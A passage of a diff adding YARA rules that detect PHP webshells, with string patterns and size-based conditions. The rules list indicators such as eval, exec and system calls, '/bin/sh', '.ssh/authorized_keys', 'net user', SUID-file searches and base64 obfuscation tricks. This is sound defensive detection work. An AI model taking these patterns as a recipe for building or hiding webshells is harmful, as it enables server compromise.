+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_callback
+        // the end is 1. ( followed by anything but a direct closing ) 2. /* for the start of an obfuscation comment
+        $callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+
+        $m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $m_callback2 = "FILTER_CALLBACK" fullword wide ascii
+
+        $cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
+        $cfp2 = "IWPML_Backend_Action_Loader" ascii wide
+        $cfp3 = "<?phpclass WPML" ascii
+
+        //strings from private rule capa_php_payload
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+        $cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+
+        $m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+        $m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+        // TODO backticks
+
+        //strings from private rule capa_php_obfuscation_single
+        $cobfs1 = "gzinflate" fullword nocase wide ascii
+        $cobfs2 = "gzuncompress" fullword nocase wide ascii
+        $cobfs3 = "gzdecode" fullword nocase wide ascii
+        $cobfs4 = "base64_decode" fullword nocase wide ascii
+        $cobfs5 = "pack" fullword nocase wide ascii
+        $cobfs6 = "undecode" fullword nocase wide ascii
+
+        //strings from private rule capa_gen_sus
+
+        // these strings are just a bit suspicious, so several of them are needed, depending on filesize
+        $gen_bit_sus1  = /:\s{0,20}eval}/ nocase wide ascii
+        $gen_bit_sus2  = /\.replace\(\/\w\/g/ nocase wide ascii
+        $gen_bit_sus6  = "self.delete"
+        $gen_bit_sus9  = "\"cmd /c" nocase
+        $gen_bit_sus10 = "\"cmd\"" nocase
+        $gen_bit_sus11 = "\"cmd.exe" nocase
+        $gen_bit_sus12 = "%comspec%" wide ascii
+        $gen_bit_sus13 = "%COMSPEC%" wide ascii
+        //TODO:$gen_bit_sus12 = ".UserName" nocase
+        $gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+        // bonus string for proxylogon exploiting webshells
+        $gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+        $gen_bit_sus21 = "\"upload\"" wide ascii
+        $gen_bit_sus22 = "\"Upload\"" wide ascii
+        $gen_bit_sus23 = "UPLOAD" fullword wide ascii
+        $gen_bit_sus24 = "fileupload" wide ascii
+        $gen_bit_sus25 = "file_upload" wide ascii
+        // own base64 or base32 func
+        $gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+        $gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+        $gen_bit_sus30 = "serv-u" wide ascii
+        $gen_bit_sus31 = "Serv-u" wide ascii
+        $gen_bit_sus32 = "Army" fullword wide ascii
+        // single letter paramweter
+        $gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+        $gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+        $gen_bit_sus35 = "crack" fullword wide ascii
+
+        $gen_bit_sus44 = "<pre>" wide ascii
+        $gen_bit_sus45 = "<PRE>" wide ascii
+        $gen_bit_sus46 = "shell_" wide ascii
+        //fp: $gen_bit_sus47 = "Shell" fullword wide ascii
+        $gen_bit_sus50 = "bypass" wide ascii
+        $gen_bit_sus52 = " ^ $" wide ascii
+        $gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+        $gen_bit_sus55 = /\w'\.'\w/ wide ascii
+        $gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+        $gen_bit_sus57 = "dumper" wide ascii
+        $gen_bit_sus59 = "'cmd'" wide ascii
+        $gen_bit_sus60 = "\"execute\"" wide ascii
+        $gen_bit_sus61 = "/bin/sh" wide ascii
+        $gen_bit_sus62 = "Cyber" wide ascii
+        $gen_bit_sus63 = "portscan" fullword wide ascii
+        //$gen_bit_sus64 = "\"command\"" fullword wide ascii
+        //$gen_bit_sus65 = "'command'" fullword wide ascii
+        $gen_bit_sus66 = "whoami" fullword wide ascii
+        $gen_bit_sus67 = "$password='" fullword wide ascii
+        $gen_bit_sus68 = "$password=\"" fullword wide ascii
+        $gen_bit_sus69 = "$cmd" fullword wide ascii
+        $gen_bit_sus70 = "\"?>\"." fullword wide ascii
+        $gen_bit_sus71 = "Hacking" fullword wide ascii
+        $gen_bit_sus72 = "hacking" fullword wide ascii
+        $gen_bit_sus73 = ".htpasswd" wide ascii
+        $gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+
+        // very suspicious strings, one is enough
+        $gen_much_sus7  = "Web Shell" nocase
+        $gen_much_sus8  = "WebShell" nocase
+        $gen_much_sus3  = "hidded shell"
+        $gen_much_sus4  = "WScript.Shell.1" nocase
+        $gen_much_sus5  = "AspExec"
+        $gen_much_sus14 = "\\pcAnywhere\\" nocase
+        $gen_much_sus15 = "antivirus" nocase
+        $gen_much_sus16 = "McAfee" nocase
+        $gen_much_sus17 = "nishang"
+        $gen_much_sus18 = "\"unsafe" fullword wide ascii
+        $gen_much_sus19 = "'unsafe" fullword wide ascii
+        $gen_much_sus24 = "exploit" fullword wide ascii
+        $gen_much_sus25 = "Exploit" fullword wide ascii
+        $gen_much_sus26 = "TVqQAAMAAA" wide ascii
+        $gen_much_sus30 = "Hacker" wide ascii
+        $gen_much_sus31 = "HACKED" fullword wide ascii
+        $gen_much_sus32 = "hacked" fullword wide ascii
+        $gen_much_sus33 = "hacker" wide ascii
+        $gen_much_sus34 = "grayhat" nocase wide ascii
+        $gen_much_sus35 = "Microsoft FrontPage" wide ascii
+        $gen_much_sus36 = "Rootkit" wide ascii
+        $gen_much_sus37 = "rootkit" wide ascii
+        $gen_much_sus38 = "/*-/*-*/" wide ascii
+        $gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+        $gen_much_sus40 = "\"e\"+\"v" wide ascii
+        $gen_much_sus41 = "a\"+\"l\"" wide ascii
+        $gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+        $gen_much_sus43 = "q\"+\"u\"" wide ascii
+        $gen_much_sus44 = "\"u\"+\"e" wide ascii
+        $gen_much_sus45 = "/*//*/" wide ascii
+        $gen_much_sus46 = "(\"/*/\"" wide ascii
+        $gen_much_sus47 = "eval(eval(" wide ascii
+        // self remove
+        $gen_much_sus48 = "unlink(__FILE__)" wide ascii
+        $gen_much_sus49 = "Shell.Users" wide ascii
+        $gen_much_sus50 = "PasswordType=Regular" wide ascii
+        $gen_much_sus51 = "-Expire=0" wide ascii
+        $gen_much_sus60 = "_=$$_" wide ascii
+        $gen_much_sus61 = "_=$$_" wide ascii
+        $gen_much_sus62 = "++;$" wide ascii
+        $gen_much_sus63 = "++; $" wide ascii
+        $gen_much_sus64 = "_.=$_" wide ascii
+        $gen_much_sus70 = "-perm -04000" wide ascii
+        $gen_much_sus71 = "-perm -02000" wide ascii
+        $gen_much_sus72 = "grep -li password" wide ascii
+        $gen_much_sus73 = "-name config.inc.php" wide ascii
+        // touch without parameters sets the time to now, not malicious and gives fp
+        $gen_much_sus75 = "password crack" wide ascii
+        $gen_much_sus76 = "mysqlDll.dll" wide ascii
+        $gen_much_sus77 = "net user" wide ascii
+        $gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+        $gen_much_sus81 = /strrev\(['"]/ wide ascii
+        $gen_much_sus82 = "PHPShell" fullword wide ascii
+        $gen_much_sus821= "PHP Shell" fullword wide ascii
+        $gen_much_sus83 = "phpshell" fullword wide ascii
+        $gen_much_sus84 = "PHPshell" fullword wide ascii
+        $gen_much_sus87 = "deface" wide ascii
+        $gen_much_sus88 = "Deface" wide ascii
+        $gen_much_sus89 = "backdoor" wide ascii
+        $gen_much_sus90 = "r00t" fullword wide ascii
+        $gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+        $gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
+        $gen_much_sus93 = "eval(\"/*" wide ascii
+        $gen_much_sus94 = "=$_COOKIE;" wide ascii
+
+        $gif = { 47 49 46 38 }
+
+
+    condition:
+        //any of them or
+        (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and
+        ( (
+            not any of ( $cfp* ) and
+        (
+            any of ( $callback* )  or
+            all of ( $m_callback* )
+        )
+        )
+        or (
+            any of ( $cpayload* ) or
+        all of ( $m_cpayload_preg_filter* )
+        )
+        ) and (
+            any of ( $cobfs* )
+        )
+        and
+        ( filesize < 1KB or
+        ( filesize < 3KB and
+        ( (
+        $gif at 0 or
+        (
+            filesize < 4KB and
+            (
+                1 of ( $gen_much_sus* ) or
+                2 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 20KB and
+            (
+                2 of ( $gen_much_sus* ) or
+                3 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 50KB and
+            (
+                2 of ( $gen_much_sus* ) or
+                4 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 100KB and
+            (
+                2 of ( $gen_much_sus* ) or
+                6 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 150KB and
+            (
+                3 of ( $gen_much_sus* ) or
+                7 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 500KB and
+            (
+                4 of ( $gen_much_sus* ) or
+                8 of ( $gen_bit_sus* )
+            )
+        )
+        )
+        or #obf1 > 10 ) ) )
+}
+
+rule WEBSHELL_PHP_Includer_Eval
+{
+    meta:
+        description = "PHP webshell which eval()s another included file"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/13"
+        modified = "2023-04-05"
+        hash = "3a07e9188028efa32872ba5b6e5363920a6b2489"
+        hash = "ab771bb715710892b9513b1d075b4e2c0931afb6"
+        hash = "202dbcdc2896873631e1a0448098c820c82bcc8385a9f7579a0dc9702d76f580"
+        hash = "b51a6d208ec3a44a67cce16dcc1e93cdb06fe150acf16222815333ddf52d4db8"
+
+        id = "995fcc34-f91e-5c9c-97b1-84eed1714d40"
+    strings:
+        $payload1 = "eval" fullword wide ascii
+        $payload2 = "assert" fullword wide ascii
+        $include1 = "$_FILE" wide ascii
+        $include2 = "include" wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 200 and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and 1 of ( $payload* ) and 1 of ( $include* )
+}
+
+rule WEBSHELL_PHP_Includer_Tiny
+{
+    meta:
+        description = "Suspicious: Might be PHP webshell includer, check the included file"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/04/17"
+        modified = "2023-07-05"
+        hash = "0687585025f99596508783b891e26d6989eec2ba"
+        hash = "9e856f5cb7cb901b5003e57c528a6298341d04dc"
+        hash = "b3b0274cda28292813096a5a7a3f5f77378b8905205bda7bb7e1a679a7845004"
+
+        id = "9bf96ddc-d984-57eb-9803-0b01890711b5"
+    strings:
+        $php_include1 = /include\(\$_(GET|POST|REQUEST)\[/ nocase wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 100 and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and any of ( $php_include* )
+}
+
+rule WEBSHELL_PHP_Dynamic
+{
+    meta:
+        description = "PHP webshell using function name from variable, e.g. $a='ev'.'al'; $a($code)"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/01/13"
+        modified = "2023-10-06"
+        score = 60
+        hash = "65dca1e652d09514e9c9b2e0004629d03ab3c3ef"
+        hash = "b8ab38dc75cec26ce3d3a91cb2951d7cdd004838"
+        hash = "c4765e81550b476976604d01c20e3dbd415366df"
+        hash = "2e11ba2d06ebe0aa818e38e24a8a83eebbaae8877c10b704af01bf2977701e73"
+
+        id = "58ad94bc-93c8-509c-9d3a-c9a26538d60c"
+    strings:
+        $pd_fp1 = "whoops_add_stack_frame" wide ascii
+        $pd_fp2 = "new $ec($code, $mode, $options, $userinfo);" wide ascii
+        $pd_fp3 = "($i)] = 600;" ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_dynamic
+        // php variable regex from https://www.php.net/manual/en/language.variables.basics.php
+        $dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
+        $dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
+        $dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
+        $dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
+        $dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
+        $dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
+        $dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
+        // ${'_'.$_}["_"](${'_'.$_}["__"]
+        $dynamic8 = /\$\{[^}]{1,20}}(\[[^\]]{1,20}\])?\(\$\{/ wide ascii
+
+        $fp1 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 24 63 29 3B } /* <?php\x0a\x0a$a($b = 3, $c); */
+        $fp2 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 2E 2E 2E 20 24 63 29 3B } /* <?php\x0a\x0a$a($b = 3, ... $c); */
+        $fp3 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 74 61 74 69 63 3A 3A 24 62 28 29 3B} /* <?php\x0a\x0a$a = new static::$b(); */
+        $fp4 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 65 6C 66 3A 3A 24 62 28 29 3B } /* <?php\x0a\x0a$a = new self::$b(); */
+        $fp5 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 5C 22 7B 24 76 61 72 43 61 6C 6C 61 62 6C 65 28 29 7D 5C 22 3B } /* <?php\x0a\x0a$a = \"{$varCallable()}\"; */
+        $fp6 = "// TODO error about missing expression" /* <?php\x0a// TODO error about missing expression\x0a$a($b = 3, $c,); */
+        $fp7 = "// This is an invalid location for an attribute, "
+        $fp8 = "/* Auto-generated from php/php-langspec tests */"
+    condition:
+        filesize > 20 and filesize < 200 and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and (
+            any of ( $dynamic* )
+        )
+        and not any of ( $pd_fp* )
+        and not 1 of ($fp*)
+}
+
+rule WEBSHELL_PHP_Dynamic_Big
+{
+    meta:
+        description = "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/02/07"
+        modified = "2024-02-23"
+        score = 50
+        hash = "6559bfc4be43a55c6bb2bd867b4c9b929713d3f7f6de8111a3c330f87a9b302c"
+        hash = "9e82c9c2fa64e26fd55aa18f74759454d89f968068d46b255bd4f41eb556112e"
+        hash = "6def5296f95e191a9c7f64f7d8ac5c529d4a4347ae484775965442162345dc93"
+        hash = "dadfdc4041caa37166db80838e572d091bb153815a306c8be0d66c9851b98c10"
+        hash = "0a4a292f6e08479c04e5c4fdc3857eee72efa5cd39db52e4a6e405bf039928bd"
+        hash = "4326d10059e97809fb1903eb96fd9152cc72c376913771f59fa674a3f110679e"
+        hash = "b49d0f942a38a33d2b655b1c32ac44f19ed844c2479bad6e540f69b807dd3022"
+        hash = "575edeb905b434a3b35732654eedd3afae81e7d99ca35848c509177aa9bf9eef"
+        hash = "ee34d62e136a04e2eaf84b8daa12c9f2233a366af83081a38c3c973ab5e2c40f"
+
+        id = "a5caab93-7b94-59d7-bbca-f9863e81b9e5"
+    strings:
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+        //strings from private rule capa_php_new_long
+        // no <?=
+        $new_php2 = "<?php" nocase wide ascii
+        $new_php3 = "<script language=\"php" nocase wide ascii
+        $php_short = "<?"
+
+        //strings from private rule capa_php_dynamic
+        // php variable regex from https://www.php.net/manual/en/language.variables.basics.php
+        $dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
+        $dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
+        $dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
+        $dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
+        $dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
+        $dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
+        $dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
+        $dynamic8 = "eval(" wide ascii
+
+        //strings from private rule capa_gen_sus
+
+        // these strings are just a bit suspicious, so several of them are needed, depending on filesize
+        $gen_bit_sus1  = /:\s{0,20}eval}/ nocase wide ascii
+        $gen_bit_sus2  = /\.replace\(\/\w\/g/ nocase wide ascii
+        $gen_bit_sus6  = "self.delete"
+        $gen_bit_sus9  = "\"cmd /c" nocase
+        $gen_bit_sus10 = "\"cmd\"" nocase
+        $gen_bit_sus11 = "\"cmd.exe" nocase
+        $gen_bit_sus12 = "%comspec%" wide ascii
+        $gen_bit_sus13 = "%COMSPEC%" wide ascii
+        //TODO:$gen_bit_sus12 = ".UserName" nocase
+        $gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+        // bonus string for proxylogon exploiting webshells
+        $gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+        $gen_bit_sus21 = "\"upload\"" wide ascii
+        $gen_bit_sus22 = "\"Upload\"" wide ascii
+        $gen_bit_sus23 = "UPLOAD" fullword wide ascii
+        $gen_bit_sus24 = "fileupload" wide ascii
+        $gen_bit_sus25 = "file_upload" wide ascii
+        $gen_bit_sus27 = "zuncomp" wide ascii
+        $gen_bit_sus28 = "ase6" wide ascii
+        // own base64 or base32 func
+        $gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+        $gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+        $gen_bit_sus30 = "serv-u" wide ascii
+        $gen_bit_sus31 = "Serv-u" wide ascii
+        $gen_bit_sus32 = "Army" fullword wide ascii
+        // single letter paramweter
+        $gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+        $gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+        $gen_bit_sus35 = "crack" fullword wide ascii
+
+        $gen_bit_sus44 = "<pre>" wide ascii
+        $gen_bit_sus45 = "<PRE>" wide ascii
+        $gen_bit_sus46 = "shell_" wide ascii
+        //fp: $gen_bit_sus47 = "Shell" fullword wide ascii
+        $gen_bit_sus50 = "bypass" wide ascii
+        $gen_bit_sus52 = " ^ $" wide ascii
+        $gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+        $gen_bit_sus55 = /\w'\.'\w/ wide ascii
+        $gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+        $gen_bit_sus57 = "dumper" wide ascii
+        $gen_bit_sus59 = "'cmd'" wide ascii
+        $gen_bit_sus60 = "\"execute\"" wide ascii
+        $gen_bit_sus61 = "/bin/sh" wide ascii
+        $gen_bit_sus62 = "Cyber" wide ascii
+        $gen_bit_sus63 = "portscan" fullword wide ascii
+        $gen_bit_sus65 = "whoami" fullword wide ascii
+        $gen_bit_sus67 = "$password='" fullword wide ascii
+        $gen_bit_sus68 = "$password=\"" fullword wide ascii
+        $gen_bit_sus69 = "$cmd" fullword wide ascii
+        $gen_bit_sus70 = "\"?>\"." fullword wide ascii
+        $gen_bit_sus71 = "Hacking" fullword wide ascii
+        $gen_bit_sus72 = "hacking" fullword wide ascii
+        $gen_bit_sus73 = ".htpasswd" wide ascii
+        $gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+        $gen_bit_sus99 = "$password = " wide ascii
+        $gen_bit_sus100 = "();$" wide ascii
+
+        // very suspicious strings, one is enough
+        $gen_much_sus7  = "Web Shell" nocase
+        $gen_much_sus8  = "WebShell" nocase
+        $gen_much_sus3  = "hidded shell"
+        $gen_much_sus4  = "WScript.Shell.1" nocase
+        $gen_much_sus5  = "AspExec"
+        $gen_much_sus14 = "\\pcAnywhere\\" nocase
+        $gen_much_sus15 = "antivirus" nocase
+        $gen_much_sus16 = "McAfee" nocase
+        $gen_much_sus17 = "nishang"
+        $gen_much_sus18 = "\"unsafe" fullword wide ascii
+        $gen_much_sus19 = "'unsafe" fullword wide ascii
+        $gen_much_sus24 = "exploit" fullword wide ascii
+        $gen_much_sus25 = "Exploit" fullword wide ascii
